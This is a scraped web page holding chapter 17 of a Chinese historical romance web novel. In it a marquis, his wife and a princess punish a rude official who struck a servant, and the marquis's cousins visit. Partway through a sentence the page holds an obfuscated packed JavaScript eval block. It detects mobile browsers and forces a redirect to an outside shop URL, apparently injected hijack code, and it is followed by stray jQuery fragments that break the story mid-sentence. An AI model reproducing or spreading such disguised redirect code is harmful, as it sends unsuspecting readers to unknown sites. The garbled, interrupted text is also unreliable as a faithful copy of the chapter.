默认冷灰
24号文字
方正启体

17. 第 17 章

作者:与西风别本书字数:K更新时间:
    临近的雅间传来了喧闹声,声音甚至有些耳熟,谢藏澜却顾不上这些,抬眼看向刚进门的青筠:“因何急急忙忙的?”


    青筠见屋内一片祥和,没有意外出现,只当是自己听错了。


    “禀告侯爷,小的听见一声巨响,以为是出了什么事情……侯爷无事便好。”


    他领着表公子蒋闽兴进门,客人未曾落座,一时间没人开口,隔壁的响声却越来越大。


    谢藏澜贯是个喜静的,受不得吵,青筠见他蹙眉,准备打开房门,准备跟隔壁说一声。


    没成想,隔壁的房门先他一步打开,一个男子讪笑着退出去,嘴上还嘟嘟囔囔的:“这个清远郡主还真是个母老虎,谁娶了她,定是后宅不宁。”


    青筠敏锐地捕捉到了“郡主”二字,却没听清封号,刚准备探头看两眼,就被那男子一掌挥到墙面上。


    “哪里来的乞子。”那人嗤笑一声,看都没看青筠就绕开想走。


    青筠吃痛,却没出声,今日侯爷没带什么侍卫,身边会武功的只有他一人,此刻万不能起冲突。且不说此人虽然脾性恶劣,说不准是什么没见过的王孙公子,还是忍忍吧。


    “你没事吧?”雅间前前后后出来了好几个人,其中一个丫鬟将青筠扶了起来,“那人果真是个莽夫,刚刚郡主还骂轻了呢。”


    青筠连忙朝一行人行礼:“见过郡主。”


    没等周清缘说话,稍微落后一些的赵知微率先认出青筠,不禁皱眉道:“这是怎么回事?青筠,你是一个人出来的?”


    “夫人?”青筠刚准备从衣服上撕条布料下来止血,刚刚胳膊似乎是划伤了,血现在还没停。他没想到自己难得有些不雅的动作,倒是全进了夫人的眼里。


    “侯爷在雅间里,我去请他……”


    “不必了。”周清缘眼里没了平时的笑意,朝身后的侍卫招了招手,“把人给我带来。”


    赵知微也不多问,让青筠回去禀告一声,将谢藏澜请来。


    侍卫行动敏捷,没几息就把人抓回来了,那男人耸拉着脑袋,哪里有一刻钟之前的威风。被攥着衣领子的时候还连连讨饶,周清缘都没眼看。


    “姓罗的,本郡主看你高低有个功名在身,刚刚说话委婉了些。没成想你刚出门就伤了永安侯府的人。”


    罗毅哭丧着脸:“他也没说啊。”


    周清缘一脚把他踹在地上:“看来我方才的话还是有失中肯,你这宣节校尉的官衔,想必令尊花了不少钱吧?”


    “你别欺人太甚,小心我参你一本。”罗毅勉强站起来,嘴上却仍是不落下风。


    “有意思,我周清缘行得端做得正,今日回去就将你的种种恶行向圣上禀明。”周清缘拍了拍他的脸,一脸嫌恶,“但是在此之前,你必须向永安侯府谢罪。”


    罗毅如遭雷击,只能满脸赔笑,朝谢藏澜行礼:“还请侯爷恕罪,下官方才也是情急之下。”


    “情急,急在何处?可是家中出了什么事?”谢藏澜佯装善解人意。


    罗毅却只当是他给的台阶,连连点头:“正是,永安侯宅心仁厚……”


    “你家中出事与我何干?伤了我的人轻飘飘一句话就想走?”谢藏澜朝青筠招手,“他刚刚怎么打你的,现在打回去。”


    青筠感激地看了眼周清缘,一拳打在罗毅的肚子上,人一下子倒在了地上。


    “很聪明嘛,打在这里虽然疼,却不会伤了肺腑。”周清缘赞赏地点点头,示意侍卫们让出个口子,“既然恩怨已了,还不给宣节校尉让行?”


    “是,郡主。”


    直到罗毅一瘸一拐地走出雅间,周清缘整个人才彻底松懈下来,她靠在赵知微的肩上开始抱怨:“不知母亲从哪里找来的男子,官衔小,人还差。”


    “许是殿下受了蒙骗了?”赵知微连忙安慰。


    “可不是被骗了,当着我们的面说话就那么难听。”想到那人的言语,周清缘拳头都攥紧了,将手放在腰间的鞭子上,“若不是不能动用私刑……”


    “他说的是我,你怎么比我还气啊。”赵知微托起周清缘的脸,揉开她眉心的郁结,“我真没事,这种话我都听多了。”


    “他就是看你脾气好……”周清缘后槽牙咬得嘎吱响。


    青筠用干净的手帕包好伤处,刚准备站回谢藏澜身边,门口突然传出了一道女声:“是恩人吗?”


    此时此刻,此情此景,除了蒋薏兰还能是什么人?


    其他人都有些莫名,左右看了看到底是找谁的,只有谢藏澜一开始就将目光投向了周清缘。


    “永安侯这是什么意思?”周清缘觉得他好生奇怪。


    谢藏澜也不多说,点到为止:“找你的。”


    “让她进来吧。”周清缘搜肠刮肚也没想起来对方是谁,只能示意侍卫开门。


    “恩人,真没想到能在这里遇到你。”蒋薏兰一眼就看见了周清缘,甚至还小跑了两步。蒋闽兴跟在她身后,朝周清缘作揖:“见过清远郡主。”


    蒋薏兰刚才太激动了,因了蒋闽兴的动作才想起来要行礼:“见过清远郡主。”


    “免礼,没想到会在此处遇上。”周清缘看了眼兄妹二人,有些好奇他们为何会出现在此处。


    谢藏澜立马接过话茬,生怕蒋薏兰说出什么惊天动地之语:“这两位是在下的表亲,祖母特地吩咐我带他们出来逛逛。”


    “怪不得。”周清缘并未深究,只是想起什么似的,向蒋薏兰介绍赵知微。


    “蒋姑娘今日来得巧,这位就是我常常同你提的赵知微。”


    “见过侯夫人!”蒋薏兰一直想见到赵知微,原以为今日能在侯府见到,没想到对方刚巧不在。她先前还有些失望,没想到居然在雅间里碰上了。


    许是太过激动,蒋薏兰簪子上的流苏差点甩到赵知微手上,谢藏澜连忙伸手拉了一把赵知微,很快又松了开来。


    “我……我对夫人的才学敬仰多时,终于见到了。”


    那边蒋薏兰还在同赵知微闲谈,周清缘却时不时地看一眼谢藏澜。


    不对劲,实在是太不对劲了。


    刚刚他出手的动作太快了,她记得永安侯谢藏澜自小体弱,应当是没有习武的。可他刚刚的反应又那么快,完全异于常人,莫非他是一直盯着知微?


    周清缘越想越觉得不对,那个呼之欲出的答案——


    “清远郡主,谢某有一事不明。”谢藏澜刚刚就觉得不对,那罗毅胆子再大也只是个八品官员,哪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164359|196633||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里有胆子得罪清远郡主呢?


    可偏偏周清缘说他出言不逊,还是对赵知微出言不逊……


    “侯爷请讲。”


    “方才那人可是对夫人不敬?”谢藏澜直截了当,周清缘却一下子没反应过来。


    “夫人?”


    “恕在下口拙,是嫂嫂。”谢藏澜立马纠正。


    “这种事情你倒是上心。”周清缘有些纠结,不知道该不该说。女子嫁进夫家,这一言一行都关乎夫家声誉。若说改嫁一事,这永安侯府也算不得夫家了,可偏偏这永安侯态度暧昧,她该不该实言相告啊?


    谢藏澜不是看不出周清缘的纠结,他无心逼问,但那人若是对赵知微出言不逊,那才真是应该新账旧账一起算。


    “郡主但说无妨。”


    “其实今日本是我相看郎君,知微是来帮我掌掌眼的。”周清缘指了指屏风后头,“一开始她是坐在那里的,未曾露面。”


    “那人也不知晓她在,一边高谈阔论一边夸我贬低其他女子。”


    “说起别人,都是无才无德。可到了知微这里,只说她是灾星。我劝他慎言,他却格外无理。”说着,周清缘朝谢藏澜行了个礼,“到底是我的不对,叫她受了委屈。”


    “原是如此。”谢藏澜听完全部,面上依旧是不动声色,“只怪此人品行不端,与郡主何干?不必挂在心上。”


    “侯爷通透,是我狭隘了。”周清缘颔首,见谢藏澜没有动怒的迹象,只觉得方才的揣测过于荒谬,一点站不住脚。


    “恩人、恩人!”蒋薏兰不知从赵知微那里听到了什么,笑得前仰后合。


    “侯爷,我先失陪了。”


    见三人似乎能够玩到一起,青筠也很高兴:“若是能将表姑娘留在府里就好了,还能陪夫人说说话。”


    “此话切莫叫祖母听见。”谢藏澜道。


    “这是为何?还请侯爷明示。”


    “祖母怕是急昏了头,想撮合我和表妹。”


    谢藏澜就这么平平淡淡扔下了一个爆炸消息,留下青筠一人凌乱。


    什么?侯爷和表姑娘?


    *


    日暮时分,谢藏澜和赵知微将蒋氏兄妹送走后,一齐松了口气。


    赵知微见谢藏澜一脸疲惫:“想不到侯爷如此挑剔,今日没相中?”


    “是啊。”谢藏澜只要一想到蒋薏兰的锥心之语,只想把人赶紧送走,再不走他的心都要千疮百孔了。


    不对!


    “夫人是如何知晓的?”


    “自然是兰儿告诉我的。”


    这话不知道触到了谢藏澜的什么点,说话都冒着酸气:“夫人当真体贴,短短一天便如此亲昵。”


    “她性子直爽,我自然喜欢。”赵知微不明白他这又是闹的哪一出。


    “喊我是‘侯爷’,喊她就是‘兰儿’?夫人这颗心未免也太偏了。”谢藏澜垂眸。


    “气性这么大?”赵知微微微低头,想要看他的脸,他却故意偏头。


    不得已,赵知微只能抓住他的手:“就这么生气?”


    “嘶——”因为谢藏澜下意识想甩开她的手,又像是意识到什么硬生生按下不表。


    “你的手上怎么会有伤?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)